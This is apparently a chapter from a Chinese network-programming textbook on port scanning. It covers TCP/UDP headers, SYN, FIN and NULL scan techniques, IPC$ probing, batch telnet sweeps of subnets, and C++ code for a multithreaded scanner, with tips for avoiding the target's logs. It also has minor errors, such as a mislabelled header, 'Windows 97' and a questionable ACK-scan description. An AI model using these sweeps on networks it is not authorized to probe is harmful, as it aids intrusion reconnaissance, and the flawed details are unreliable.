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在表3.2中，可以看到，熟知端口中的协议和端口是一一对应的，但有时一个服务可以对应多个端口。例如FTP（File Transfer Protocol，文件传输协议）占用了20和21两个端口，其中端口21用于在一次传输过程中，控制命令的收发（如文件开始、同步、文件结束），端口20用于文件中的数据传送。另如NetBIOS协议同时使用了137、138、139三个端口，其中137、138是UDP端口，当通过网上邻居传输文件时用这个端口。139端口是TCP端口，通过这个端口可以获得NetBIOS/SMB服务，用于Windows文件和打印机共享和SAMBA。

如果一个端口通过任何方法都无法访问，那它将没有一点用，因为开端口的目的就是向正常用户提供服务，因此任何一个端口都应该能从外界向其提出服务请求，而通过分析对所提请求的回应，我们至少可以断定端口是否能提供服务，也就是说，该端口是否处于开的状态。


3.1.2　端口扫描原理

端口扫描，就是逐个对一段端口或指定的端口进行连接，并通过连接结果判断一台计算机上都提供了哪些服务，然后就可以针对这些服务的已知漏洞进行攻击。

使用的服务不同，对端口的连接也不尽相同。以TCP端口为例，其原理是当一个主机向远端一个服务器的某一个端口提出建立连接的请求，如果对方有此项服务，就会同意建立连接，如果对方未安装此项服务时，则不会同意建立连接。利用这个原理，就可以通过程序自动对一段端口分别发出进行连接的请求，根据对方是否同意建立连接的结果，可以统计出远端的服务器都提供哪些服务。

对于UDP端口，由于没有“连接”的概念，即使本机向远端主机某个UDP端口发送一个数据包，对方没有回复，也不能断定对方该端口是否处于“开”的状态。好在ICMP协议中，当向对方未提供服务的端口发送数据时，对方会自动回复一个“远端端口未打开”的错误，那么这个错误信息就可以作为端口“关”的依据，相反则认为该端口是开的。


3.2　端口扫描技术

端口是TCP/IP协议中传输层所具有的概念，因此端口扫描所面对的也基本上是传输层中所涉及的问题。如对方提供的是面向连接的服务，则通常只能采用TCP扫描；如果对方提供的是面向非连接的服务，则通常更多采用的是UDP扫描。

端口扫描所采用的具体技术，不仅取决于远端服务器所安装的服务，也取决于扫描者所想达到的扫描目的。一些较为冷癖的扫描技术通常可以取得较好的效果，如可以绕过对方的防火墙（即对方无法识别出正被扫描）；再如可以让对方系统在对正常操作都有日志记录的前提下，不对这次操作进行日志记录。但这些技术通常需要更复杂的编程知识，对操作系统、协议等细节了解更多，而且并不是每次都有效，这种扫描技术通常会被黑客更多地采纳。较为常用的技术则因为通用、简单、结果准确，而更多地被普通用户或网络管理员所使用，通用扫描器也更多地使用这种技术。


 3.2.1　网络通信实例分析

为了能对TCP/IP协议有更直观的了解，本节通过嗅探器（Sniffer）（后面章节会讲解如何编制Sniffer扫描器）截取一些数据包，通过对这些数据包的分析，不仅可以看到各数据包都有哪些部分组成，也可以知道各包之间的关系。

由于本章只是TCP和UDP两协议端口的扫描，所以下面只介绍两种数据包头的格式和通信实例，对于ICMP协议的包头格式和通信实例详见第6章的6.3节“ICMP通信实例分析”。

3.2.1.1　IP包头数据格式

IP协议（Internet Protocol）是网络层协议，IP数据包头部格式（RFC791）由20字节的固定长度和一个可选任意长度部分构成，如图3.1所示。
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图　3.1　IP数据包头部格式

3.2.1.2　TCP包头数据格式及通信实例

在TCP连接中，connect函数会先建立一个TCP连接，该连接分别有三次服务请求方（即客户端）与服务提供方（即服务器端）之间的数据包的交互，俗称“三次握手”（Three Way Handshake），后面将展示一次完整的connect通信过程。

TCP协议是传输层协议，为应用层提供服务，RFC793中有基本的TCP描述。TCP数据包头跟IP头部差不多，基本的长度也是20字节，如图3.2所示。TCP数据包是包含在一个IP数据报文中的。
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图　3.2　TCP数据包头结构

其中，“标志”项是由几个标志位组成的，自左至右依次为URG（加急，Urgent）、ACK（确认，Acknowledge）、PSH（推送，Push）、RST（复位，Reset）、SYN（同步，Synchronize）、FIN（结束，Finish），这些标志位都将用于高级扫描。

在操作系统中，由于同时会有多个连接发生，为了区分这些不同的连接，一个三次握手的过程约定如下。

首先，请求方的TCP包头中的“序列号”（SEQ）设定一个随机数X。随后，服务器方在接到这样的数据包后回复一个数据包，在这个数据包中，服务器也产生一个随机数Y作为“序列号”，同时，“确认号”（ACK）则设定为：X+1。最后，请求方再将“确认号”设定为"Y+1"。设定结束后，就认为connect函数返回成功。在一定时间内，中间有一步没有完成，则connect函数返回失败消息。这个过程参见图3.3。
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图　3.3　TCP三次握手过程

下面是通过Sniffer捕获的一次connect的三次握手实例。在这个例子中，通信双方是172.16.0.111和172.16.0.205，前者为connect发起方，后者为接受方。为格式整齐，以下数据都以十六进制方式显示，并且只显示了IP包头和TCP包头的数据。

❑第一次，发送连接请求。172.16.0.111→172.16.0.205

IP头部：45 00 00 40 0B F7 40 00 40 06 D5 64 AC 10 00 6F AC 10 00 CD

TCP头部：07 5F 00 50 06 9B 25 CD 00 00 00 00 B0 02 FF FF A8 8D 00 00

此例中，源IP：172.16.0.111（AC 10 00 6F），目IP：172.16.0.205（AC 10 00 CD），源端口：1887（07 5F），目端口：80（00 50），SEQ=110831053（06 9B 25 CD），ACK=0（00 00 00 00），SYN=1，ACK=0。

❑第二次，回复的信号。172.16.0.205→172.16.0.111

IP头部：45 00 00 40 B6 D8 40 00 80 06 EA 82 AC 10 00 CD AC 10 00 6F

TCP头部：00 50 07 5F B4 87 DA C7 06 9B 25 CE B0 12 FF FF 19 2D 00 00

此例中：源IP：172.16.0.205（AC 10 00 CD），目IP：172.16.0.111（AC 10 00 6F），源端口：80（00 50），目端口：1887（07 5F），SEQ=3028802247（B4 87 DA C7），ACK=110831054（06 9B 25 CE），SYN=1，ACK=1。

❑第三次，确认连接，TCP连接建立。172.16.0.111→172.16.0.205

IP头部：45 00 00 34 0B F8 40 00 40 06 D5 6F AC 10 00 6F AC 10 00 CD

TCP头部：07 5F 00 50 06 9B 25 CE B4 87 DA C8 80 10 FF FF 08 BB 00 00

此例中：源IP：172.16.0.111（AC 10 00 6F），目IP：172.16.0.205（AC 10 00 CD），源端口：1887（07 5F），目端口：80（00 50），SEQ=110831054（06 9B 25 CE），ACK=3028802248（B4 87 DA C8），SYN=0，ACK=1。

3.2.1.3　UDP包头数据格式及通信实例

UDP协议（User Datagram Protocol）是传输层协议，为应用层提供服务，RFC768中有基本的UDP描述。UDP的长度是8字节，其数据包头的结构如图3.4所示。UDP数据包是包含在一个IP数据报文中的。
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图　3.4　UDP数据包头结构

UDP协议是面向非连接的，任何一方创建好后，都可以向对方发送数据包，甚至可以在对方未开机或不存在的情况下，一方仍然可以成功地发送数据包。下面的例子是通过Sniffer捕获一次两主机间的UDP通信，在这个例子中，通信双方是172.16.0.111和172.16.0.205。为格式整齐，以下数据都以十六进制方式显示，并且只显示了IP包头和UDP包头的数据。

❑第一次，172.16.0.111→172.16.0.205

IP头部：45 00 00 54 01 B1 00 00 40 11 1F 8C AC 10 00 6F AC 10 00 CD

TCP头部：04 F1 11 D7 00 40 DE 74

此例中，源IP：172.16.0.111（AC 10 00 6F），目IP：172.16.0.205（AC 10 00 CD），源端口：1265（04 F1），目端口：4567（11 D7），数据包长:64（00 40），校验和：56948（DE 74）。

❑第二次，172.16.0.205→172.16.0.111

IP头部：45 00 00 54 7C 28 00 00 80 11 65 14 AC 10 00 CD AC 10 00 6F

TCP头部：11 D7 04 F1 00 40 EC 90

此例中：源IP：172.16.0.205（AC 10 00 CD），目IP：172.16.0.111（AC 10 00 6F），源端口：4567（11 D7），目端口：1265（04 F1），数据包长:64（00 40），校验和：60560（EC 90）。


3.2.2　TCP扫描

TCP是面向连接的协议，一个成功的TCP连接一般都会首先完成完整的“三次握手”过程，而几乎所有的TCP扫描都是在三次握手过程中做文章。

几乎所有的一般的网络编程接口都会对这个过程进行封装，所以如果直接调用封装后的函数，则实现起来也就没那么难，这种方式下，对方可以很容易检测到正被扫描，并反向查出是谁在扫描（第12章分别讲述了“基于哨兵的端口扫描监测”、“基于嗅探的端口扫描监测及DDOS服务监测”和“实时监测本地所有TCP/UDP连接及端口”三种监测方法）。

高级TCP扫描就是通过非正常的三次握手，或不完整的三次握手，然后从这一过程中的异常三次握手的反应，判断出某个端口是否处于“开”的状态。

3.2.2.1　TCP connect扫描

这是最基本的TCP扫描方式，其原理是直接使用系统提供的连接函数完成完整的三次握手。连接函数在几乎具有支持网络编程的编程语言里都能找到，在Windows Socket2中是connect函数，在CSocket类中是该类的Connect方法。

这项扫描技术的优点是：不需要关注三次握手的细节，并且该函数对于使用用户的权限没有太多的限制。它的缺点是安全性差，很容易被对方发觉，或者被对方的防火墙过滤掉。目标主机的日志文件也会记录下这一连串的连接和连接出错的服务消息，并被反向查出来。

作为网络管理员，可以名正言顺地对所管理的网络进行正常的扫描，所以不需要考虑安全因素，因而这个方法对网管员来说是一个不错的选择。

本章后面编程实例中，也详细地介绍了这种扫描方式的实现方法。

3.2.2.2　TCP SYN扫描

TCP SYN扫描又称“半开扫描”。回顾TCP连接的三次握手，申请方首先发送的是一个SYN数据包，服务方在接到这个SYN数据包后，如果该端口处于侦听状态，则会回复一个SYN|ACK的数据包；如果该端口没有处于侦听状态，则会回复一个RST的数据包。而此时如果对方处于侦听状态，申请方还需要再向对方回复一个ACK数据包以示建立连接。此时对方就认为连接建立，并记入日志。

无论服务方回复SYN|ACK的数据包，还是回复RST的数据包，申请方其实已经能够判断对方端口是否为“开”的状态。之后的ACK数据包发送则被对方监视，如果此时不发送ACK数据包，而是发一个RST数据包，则不仅关闭了这个未完成的连接过程，并且也会因为连接未建立而不会被对方记录。这种扫描方式因为使用了SYN标志位，所以被称为TCP SYN扫描。这种扫描技术的优点在于一般不会在目标计算机上留下记录，有时即使在用netstat命令也显示不出来；但这种方法的一个缺点是必须要有管理员权限才能建立自己的SYN数据包。

3.2.2.3　TCP ACK扫描

TCP ACK扫描和TCP SYN扫描原理差不多，是利用协议（详见RFC 793）规定，当申请方主机向目标主机一个端口发送一个只有ACK标志的TCP数据包，如果目标主机该端口是“开”状态，则返回一个TCP RST数据包；否则不回复。根据这一原理可以判断对方端口是处于“开”还是“关”状态。

3.2.2.4　TCP NULL扫描

TCP NULL扫描和TCP SYN扫描原理差不多，是利用协议（详见RFC 793）规定，当申请方主机向目标主机一个端口发送的TCP数据包所有标志位都为空，如果目标主机该端口是“关”状态，则返回一个TCP RST数据包；否则不回复。根据这一原理可以判断对方端口是处于“开”还是“关”状态。

3.2.2.5　TCP FIN+URG+PSH扫描

TCP FIN+URG+PSH扫描和TCP SYN扫描原理差不多，是利用协议（详见RFC 793）规定，当申请方主机向目标主机一个端口发送的TCP数据包中，FIN、URG和PSH标志位都置位，如果目标主机该端口是“关”状态，则返回一个TCP RST数据包；否则不回复。根据这一原理可以判断对方端口是处于“开”还是“关”状态。

3.2.2.6　TCP FIN扫描

TCP FIN扫描也和TCP SYN扫描原理差不多，当申请方主机向目标主机一个端口发送的TCP标志位FIN置位的数据包，如果目标主机该端口是“关”状态，则返回一个TCP RST数据包；否则不回复。根据这一原理可以判断对方端口是处于“开”还是“关”状态。这种方法的缺点是，该原理不是协议规定，因而与具体的协议系统实现有一定的关系，因为有些系统在实现的时候，不管端口是处于“开”还是“关”状态，都会回复RST数据包，从而导致此方法失效。不过，也正因为这一特性，该方法可以用于判断对方是UNIX操作系统还是Windows操作系统。

3.2.2.7　TCP反向Ident扫描

Ident（Identification Protocol，标识协议）提供了一种方法，可以对建立TCP连接的用户身份进行标识，该协议使用113端口，一旦建立连接，该服务就会读取指定TCP连接的查询数据，将拥有指定TCP连接的用户信息反馈给对方。即Ident协议（RFC1413）允许通过TCP连接查询对方的任何进程的用户名，即使这个连接不是由该进程开始的。根据这一原理，扫描程序可以通过TCP连接到对方的WWW端口（默认的80），然后通过Ident协议判断对方是否正以管理员权限运行。这种方法的缺点是只能在和目标端口建立了一个完整的TCP连接后才能看到。


3.2.3　UDP扫描

UDP是面向非连接的协议，不需要建立连接过程，对其进行扫描比较复杂。下面介绍几种方法。

3.2.3.1　普通UDP扫描

由于UDP协议是面向非连接的，所以通信双方既不需要建立连接，在关闭的时候，也不需要关闭连接，甚至在通信期间，任何一方也不需要对对方的数据包进行回复。不过，在申请方向目标主机的一个未打开的UDP端口发送一个数据包时，根据网络通信的ICMP协议（RFC792）规定，对方主机会回复一个“目的不可达”（ICMP_PORT_UNREACH）错误。通过这一原理，就可以知道对方端口是处于“开”还是“关”状态。

由于UDP和ICMP错误都不保证能到达，因此这种扫描器一次扫描的结果不一定准确，有时需要多次扫描才能得到准确的结果。另外由于RFC对ICMP错误消息的产生速率做了规定，所以此扫描方法较慢。同时，这种扫描方法需要具有管理员的权限。

在后续的章节中，通过使用Raw Socket实现UDP扫描。

3.2.3.2　UDP recvfrom和write扫描

在Linux下，当非root用户不能直接读到ICMP的“端口不能到达”错误时，则只能间接地通过其他表现来判断。比如，当对远端主机的一个关闭的端口的第二个write函数调用将失败；再如，在非阻塞的UDP套接字上调用recvfrom函数时，如果ICMP出错信息还没收到时，则返回EAGAIN（重试）错误；如果ICMP出错信息到达时，则返回ECONNREFUSED（连接被拒绝）错误，通过这一区别可以判断对方端口是否处于“开”的状态。

在Windows下，在调用sendto函数时，如果返回WSAECONNRESET，则表示该数据包被远端主机复位，如果对方是个UDP服务端口，远端会回复一个“端口无法到达”（Port Unreachable）的ICMP数据包，通过该ICMP包可以进行UDP端口的扫描，并且此Socket不能再使用，建议关掉重建。

3.2.3.3　高级UDP扫描技术

由于Socket API本身提供的信息无法做出最终判断，所以在UDP扫描中多是利用Socket和ICMP进行的组合判断。除此之外，就是一些特殊应用的扫描，即通过对某些特殊服务或软件的了解，可以知道该软件监听某端口，并且在向其发送指定数据时，对方有反馈，根据这一特性进行判断，从效果上看，这种扫描更类似于后面提到的服务扫描。例如端口19，是一个基于UDP的“字符集”服务，当向该端口发送UDP通信时，对方会回复该主机所使用的字符集；再如，向安装Microsoft SQL Server服务主机的1434端口（假设对方使用默认端口）发送字符‘\2’或者字符‘\3’，对方应会有返回值，通过该反馈就能够探测到对方是否处于“开”状态。这种扫描需要依附于具体的应用，所以虽然很有效，但没有普遍性。


3.3　手工扫描

一个计算机用户，无论是网管，还是黑客，都不可能到哪儿都随时携带自己青睐的端口扫描器软件，有时即使随身带了，也不一定方便在所使用的机器上安装这些软件。面对半信半疑的听众，这时也许真的要试一下身手，因为“百闻不如一见”。因此，如果能用默认安装条件下，操作系统本身提供的命令或程序文件进行手工扫描，往往能达到事半功倍的效果。为此，下面特将这些经验类的知识点总结一下，同样作为一种扫描知识点。

需要说明的是，这里的命令或程序所使用的技术很可能是此前所述几个技术中的一个或几个的相互组合，而不是什么新技术，只不过通过这些命令或程序更便捷。同时，这些命令或程序文件，无论是从效果上，还是从技术角度上来看，有相当一部分称为“扫描”有点牵强，充其量只是一种应用程序的操作，但在这里，只是为了还有这样一种检测端口的方式，所以一并称为“扫描”。

以下各说明，是假设作为扫描客户端的主机默认安装了Windows XP（SP3）操作系统的标准安装选项，因为几乎所有当前用户都可以直接验证。其他版本的操作系统，如果是该版本之前的版本，则部分功能无法使用；如果是该版本之后的版本，则几乎所有功能都可以使用，但个别的功能命令或操作方式不尽相同。

以下程序中，大部分使用的是命令行的程序或内部命令，如果要使用这些命令，需要先进入到DOS的命令行状态，方法是单击“开始→所有程序→附件→命令提示符”，打开“命令提示符”窗口。

该部分内容中，涉及部分对方服务器端的回复，不同的服务器版本与配置，其效果不一样，对于服务器端的安装、配置，以及客户端程序的使用详解，详见第8章中关于相对应的服务的介绍。


 3.3.1　检测单主机单端口开与否

Telnet客户端程序的原理是先建立一个与Telnet服务器的TCP连接，随后客户端输入要交互的命令，并将接收到的服务器端的返回命令显示出来，最后断开TCP连接。

根据前面介绍的扫描原理可知，判断这样的端口是否开，只需要建立一个TCP连接，如果连接能建立则认为是通，否则就认为是不通。可见，只需使用Telnet客户端程序的第一步即可以判断某一端口是否开。

因此，单击“开始→所有程序→附件→命令提示符”，然后在弹出的“命令提示符”窗口中输入命令，例如，要检测172.20.1.195主机的20端口和21端口，输入telnet172.20.1.195.20，回车后返回“连接失败”信息，如图3.5所示。因此可以断定Telnet无法与对方20号端口建立的TCP连接，即对方的20端口未打开。
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图　3.5　用Telnet命令检测20端口失败的实例

但当连接21号端口时，由于服务器21号端口提供FTP服务，在建立了TCP连接后，对方的FTP服务程序并不知道这边连接的是Telnet，还是用户的FTP客户端，而只在TCP连接成功后将欢迎信息反馈过来，如图3.6所示，而这正好可以证明对方的21端口处于开的状态。图中FTP服务器的显示信息是Windows默认的FTP服务器显示信息，详细内容参见第8章FTP服务器相关内容。
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图　3.6　用Telnet命令检测FTP服务的实例


3.3.2　检测单主机单端口是否有相应服务

众所周知，端口提供服务的目的当然是让客户端来访问，因此相当一部分端口都可以由操作系统自带的客户端或某个系统命令来访问，然后通过访问的结果来判断对方的端口是否开放。

为了说明方便，下面例子都假设要检测的主机IP地址是：192.168.1.1。

3.3.2.1　端口21

端口21一般被指定为FTP服务使用，要判断目标主机是否开21号端口，只需要使用Windows自带的FTP程序进行检测即可。单击“开始→所有程序→附件→命令提示符”，然后在弹出的“命令提示符”窗口中输入"ftp 192.168.1.1"，或在Windows Internet Explorer浏览器URL框中输入："ftp://192.168.1.1/"，即可完成对方端口21的检测。如果回车后对方显示FTP欢迎信息，或显示输入用户名和口令，则表示对方端口21处于“开”状态，并且在端口21中提供了FTP服务；否则表示端口21处于“关”状态。FTP服务器的安装、配置、命令介绍详见第8章FTP服务器相关内容。

3.3.2.2　端口23

端口23被指定为Telnet服务使用，要判断目标主机是否开23号端口，只需要使用Windows自带的Telnet程序进行检测即可。单击“开始→所有程序→附件→命令提示符”，然后在弹出的“命令提示符”窗口中输入"telnet 192.168.1.1"，即检测对方端口23的开关状态。如果回车后对方显示Telnet欢迎信息，或显示输入用户名和口令，则表示对方端口23处于“开”状态，并且在端口23中提供了Telnet服务；否则表示端口23处于“关”状态。Telnet服务器的安装、配置、命令介绍详见第7章Telnet服务器相关内容。

3.3.2.3　端口80

Microsoft从Windows 97以后的几乎所有Windows系列操作系统，都捆绑了网络浏览器Internet Explorer（以下简称IE）。要验证对方的80端口是否提供WWW服务，只需要在IE浏览器的“URL地址”输入框里输入"http://192.168.1.1"，IE浏览器就会自动访问对方80端口，如果显示浏览出错就表明对方80端口未开，否则正常显示了内容，则表示80端口开。WWW服务器的安装、配置、命令介绍详见第8章WWW服务器相关内容。

3.3.2.4　端口137、138、139、445

端口139向用户提供NetBIOS服务，要判断目标主机是否开139号端口，只需要使用Windows自带的net命令进行检测即可。单击“开始→所有程序→附件→命令提示符”，然后在弹出的“命令提示符”窗口中输入"net use\\192.168.1.1\ipc$"，即检测对方端口139的开关状态。如果回车后对方显示"The command was completed successfully."（不同版本会略有不同）则表示对方端口139处于“开”状态，并且在端口139中提供了NetBIOS服务；否则表示端口139处于“关”状态。NetBIOS协议的详细介绍及net命令的解释，详见第4章相关内容。


3.3.3　检测多主机或多端口

如果一次想检测多个主机或单主机的多个端口，除了依次用上面的方式一个一个地检测之外，还可以通过DOS命令中的脚本、Shell命令等操作实现。

3.3.3.1　扫描本机正在使用的端口

要扫描本机正在使用的端口，一个简单的方法就是使用"netstat"命令，单击“开始→所有程序→附件→命令提示符”，然后在弹出的“命令提示符”窗口中输入"netstat"，结果如图3.7所示。从图上可以看出，本地的端口1027、2175、2178、5550、2170、2204都是打开的；远端的三台主机中，端口5550、2178、2175、1027、1863、1863是打开的，由于端口1863属于不同的两个主机，所以端口出现了重复。
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图　3.7　用netstat命令显示本机正在使用的端口

netstat命令是用于显示协议统计信息和当前TCP/IP网络连接的程序。该命令的参数有很多，都是可选的，各参数的意义如下：
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3.3.3.2　扫描一段主机的特定端口

在DOS下，批处理命令其实也有简单的编程功能，通过这些语句同样可以达到多线程的作用。例如：



for/l%%a in(1,1,254)do start/min/low telnet 192.168.1.%%a 139



该命令会自动通过Telnet连接IP地址从192.168.1.1到192.168.1.254之间的所有主机的端口139进行检测，运行后将会依次弹出254个命令提示符的DOS窗口，每个窗口对应一个IP地址139端口的扫描。5秒钟后，凡是该DOS窗口所对应的IP主机未开或未打开端口139的窗口将自动关闭，还剩下的未关窗口就是所要的IP地址。需要说明的有两点，一个是该命令只能在Windows 2000/XP及以后的操作系统中使用，Windows 98等以前的操作系统不能使用。二是其中的原理中，涉及一个for命令和一个start命令。

for命令的作用是对一组文件中的每一个文件执行某个特定命令。其中命令本身是不区分大小写的，但参数有些区分大小写。该命令的语法是：



FOR/参数%变量IN(数组范围)DO命令[命令参数]



语法中，各项的意义如下
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除了for命令，还有一个start命令，该命令的作用是启动另一个窗口运行指定的程序或命令。start命令的语法是：



START["＜标题＞"][/D路径][/I][/MIN][/MAX][/SEPARATE|/SHARED]

[/优先级][/WAIT][/B][命令][参数]



各参数的意义是：
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3.3.3.3　扫描某一指定主机的一段端口

在DOS下，同样有批处理命令实现多线程扫描某一IP的一段端口范围，例如：



for/l%a in(1,1,65535)do start/low/min telnet 192.168.1.1%a



该命令会自动通过Telnet连接IP地址为192.168.1.1的主机，端口值从1到65535范围内的这6万多个端口值。其展现方式会依次弹出6万多个DOS窗口，每个窗口对应一个端口值。5秒钟后，凡是该DOS窗口所对应的端口值没有被打开，会自动关闭。还剩下的未关窗口就是打开并等待继续输入命令的端口。需要说明的有三点，一个是该命令只能在Windows 2000/XP及以后的操作系统中使用，Windows 98等以前的操作系统不能使用。二是其中涉及for命令和start命令在前一小节已有详述，此处不再赘述。三是在Windows系统中，带窗口的进程或线程会耗费大量的系统内存和CPU资源，因此上述命令仅仅是告诉用户如何用手工进行扫描，实际使用中，即使是一次扫描上千个端口，也会使系统性能突然下降，甚至死机，更不能同时扫描6万个端口。

3.3.3.4　扫描一个网段的所有端口

有了前面两组扫描的命令例子，扫描一个网段的所有端口的实现方法仅仅是一个命令使用技巧的问题，要实现该功能，可以使用如下命令：



for/l%a in(1,1,254)do for/l%b in(1,1,65535)do start/low/min telnet 192.168.1.%a%b



该命令会把IP地址为192.168.1.1到192.168.1.254之间的所有主机的所有端口进行扫描，其原理和实际过程中可能出现的问题、注意事项等请参阅前两小节。


3.4　编程实例：TCP端口扫描器

Windows 2000是一个让用户喜忧参半的操作系统，即使一个对计算机不太了解的人，也可以在很短的时间里熟悉Windows的操作，而且它向编程用户提供了各种时下常用的接口。然而由于其规模的庞大，漏洞也越来越多地暴露出来，而且常常是刚发布一个漏洞补丁，新的漏洞又出现。

要扫描出这些漏洞，首要的是对各个端口进行扫描，具体的扫描算法，已在3.2.2“TCP扫描”一节中详细地介绍，本处则本着讨论和学习的目的，结合实际的应用，分别采用了TCP connect扫描和TCP SYN两种扫描方式。而且对于TCP connect扫描方式又分别通过CSocket类和Socket2编写了程序代码。从实际的测试效果来看，CSocket类和Socket2两种实现方式由于只是采用的编程类库不一样，而编程原理一样，所以效果也基本一样。而TCP SYN扫描则由于采用了非常规的扫描方式，特别是近几年防火墙的快速发展，几乎所有的防火墙都对这种方式进行防范，因此，扫描效果要视具体情况而定。同时，TCP SYN扫描方式必须运行于管理员组成员的模式下。

近几年，由于计算机和网络速度的大大提高，使得扫描速度也可以大大提高，因此使一段可以接受的时间内同时扫描多个主机的多个端口成为可能。考虑到这一点，本例也尝试实现任何IP段上，任意端口段的批量扫描，这种方式可大大方便局域网内成批地扫描连续IP的主机群。另外，考虑到前面提到的第一章1.6.1节“非顺序扫描”的方式，本例也采用了其中线程随机开始的方式实现非顺序扫描。


 3.4.1　程序主界面

由于Windows程序是一个面向消息的运行机制，运行时向用户展示的是一个图形化界面，很难确定用户操作图形界面上的控件的顺序，所以在编程时一个按钮就对应一个子程序，几个子程序对应一个模块。不像UNIX/Linux或DOS下C语言编程，都从main函数开始。

本扫描器的界面如图3.8所示。
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图　3.8　TCP扫描器界面图

主界面根据分组框自上至下分为三部分，“扫描范围”窗口用于设计扫描的IP范围和端口范围。由于本程序既支持多主机，又支持Port段扫，所以用户可以任意设计其组合。不过也要求IP、端口值都必须是正确的值，并且每一项的后者要小于前者，否则会提示出错。“不按顺序扫描”表示每个线程在扫描前会以一个3秒以内的随机时间休眠（sleep），这会使被扫主机感觉到端口不是按顺序扫描。单击“CSocket扫描”按钮时将使用CSocket类进行扫描；单击“Socket2扫描”按钮将使用Socket2.0进行扫描；单击“SYN扫描”按钮将使用半开扫描方式（TCP SYN）进行扫描；在扫描期间，单击“停止扫描”按钮将停止正在扫描的线程。“扫描结果”窗口用于显示扫描结果。“系统提示”窗口用于显示每一个操作的结果。单击“退出系统”按钮，会保存当前界面参数后退出系统。


3.4.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为PortScan_TCP。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义

程序代码中同时使用了CSocket和Socket 2，所以需要在头文件中注意二者的顺序，否则会出错。其解释详见2.2.8.3节“CSocket和Socket 2同时使用”中的内容。



#include＜winsock2.h＞

#include＜ws2tcpip.h＞

#pragma comment(lib,"ws2_32")

#include＜afxsock.h＞//必须放到winsock2.h之后

//预定义了三个扫描模式

#define SCAN_MODE_SOCKET1 0

#define SCAN_MODE_SOCKET2 1

#define SCAN_MODE_SYN 2

#define INIFILENAME".\\PortScan.ini"

typedef struct ThreadParamStruct

{//对于每一个线程，传过去的参数

CString strIP;//要扫的IP地址

UINT uPort;//要扫的端口

BOOL bNoOrder;//是否按随机的顺序扫描

CPortScanDlg*ptr;//指向父线程的对话框

HTREEITEM TreeItem;//指向结果要显示的树型控件节点

}THREADPARAM;

THREADPARAM ThreadParam;

UINT ThreadCSocketScan(LPVOID pParam);

UINT ThreadCSocket2Scan(LPVOID pParam);

BOOL g_bRunning;//定义一个全局控制线程停止的变量

int g_iTotalThreadCount;//当前在运行的总线程数



3.程序主要代码



BOOL CPortScanDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

//同时完成CSocket和Socket 2的初始化

if(!AfxSocketInit())

{

MessageBox("Socket初始化失败，请重新运行。");

return FALSE;

}

WSAData wsaData;

WSAStartup(WINSOCK_VERSION,＆wsaData);

srand((unsigned)time(NULL));//初始化随机数的种子

m_ctlTreeResult.SetImageList(＆m_ctlImageList,LVSIL_NORMAL);//绑定图标

//从INI文件里读取界面上的值，并完成初始化

CString strTemp;

char buff[MAX_PATH];

GetPrivateProfileString("Param","IPBegin","127.0.0.1",

buff,MAX_PATH,INIFILENAME);

m_strIPBegin.Format("%s",buff);

GetPrivateProfileString("Param","IPEnd","127.0.0.1",

buff,MAX_PATH,INIFILENAME);

m_strIPEnd.Format("%s",buff);

m_uPortBegin=GetPrivateProfileInt("Param","PortBegin",1,INIFILENAME);

m_uPortEnd=GetPrivateProfileInt("Param","PortEnd",1024,INIFILENAME);

g_iTotalThreadCount=0;

UpdateData(FALSE);

return TRUE;

}



对于一些常见的端口，可以根据以往的经验，列出什么程序、病毒、木马经常被使用，进而给扫描者一个初步的判断。对于这部分更详细的介绍，参见11.5节。



CString CPortScanDlg::GetPortName(UINT uPort,BOOL bIsTCP)

{

CString strRet;

if(bIsTCP)

{

switch(uPort)

{

case 1024:

case 1025:

case 1026:strRet="常用动态分配的TCP端口";break;

case 1080:strRet="WinGate,IRC等防火墙管道";break;

case 1243:strRet="Sub-7木马";break;

case 1433:strRet="MSSQL数据库服务端口";break;

case 1524:strRet="ingreslock后门";break;

case 2049:strRet="NFS程序常用端口";break;

case 3128:strRet="Squid HTTP代理服务器";break;

case 3306:strRet="MYsql数据库服务端口";break;

case 5632:strRet="pcAnywere常用端口";break;

case 31337:strRet="Back Orifice";break;

default:strRet="";break;

}

}

else

{

switch(uPort)

{

case 1024:

case 1025:

case 1026:strRet="常用动态分配的UDP端口";break;

case 31789:strRet="Hack-a-tack远程访问木马";break;

default:strRet="";break;

}

}

return strRet;

}

void CPortScanDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",MB_OKCANCEL|MB_DEFBUTTON2|

MB_ICONQUESTION)==IDOK)

{//保存参数，这样下次启动程序时，新参数会作为初始参数

CString strTemp;

WritePrivateProfileString("Param","IPBegin",m_strIPBegin,INIFILENAME);

WritePrivateProfileString("Param","IPEnd",m_strIPEnd,INIFILENAME);

strTemp.Format("%d",m_uPortBegin);

WritePrivateProfileString("Param","PortBegin",strTemp,INIFILENAME);

strTemp.Format("%d",m_uPortEnd);

WritePrivateProfileString("Param","PortEnd",strTemp,INIFILENAME);

WSACleanup();//socket2的退出时要完成的操作

CDialog::OnCancel();

}

}



包括“TCP扫描”在内的各扫描器中，定时器的作用主要是完成需要定时刷新，但其实时性又不是很强的内容，如当前运行的线程数、当前扫描的临时结果。这些内容如果让线程来完成，则可能会因多线程运行时，各线程运行不均匀而产生显示不均匀，或各线程显示数据相互干扰。因此，此类数据通过定时器显示。



void CPortScanDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1://实时地显示当前的线程数

{//之所以用大括号包含下面代码，是为了便于在switch中定义变量

UpdateData(TRUE);

if(g_iTotalThreadCount＞0)

m_strComment.Format("当前有%d个线程正在扫描中....",

g_iTotalThreadCount);

else

{

m_strComment.Format("扫描结束");

KillTimer(1);//扫描结束，不再显示当前线程数

}

UpdateData(FALSE);

}

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}



对于需要频繁显示的数据，需要用户自已定义一个消息处理机制，并实时显示要显示的内容。



void CPortScanDlg::DoEvent(CString strPass)

{

MSG msg;

CWnd*pEdit=this-＞GetDlgItem(IDC_EDIT_Comment);

pEdit-＞SetWindowText(strPass);

pEdit-＞UpdateWindow();

if(PeekMessage(＆msg,NULL,0,0,PM_REMOVE))

{

TranslateMessage(＆msg);

DispatchMessage(＆msg);

}

}

void CPortScanDlg::OnBUTTONScanStop()

{

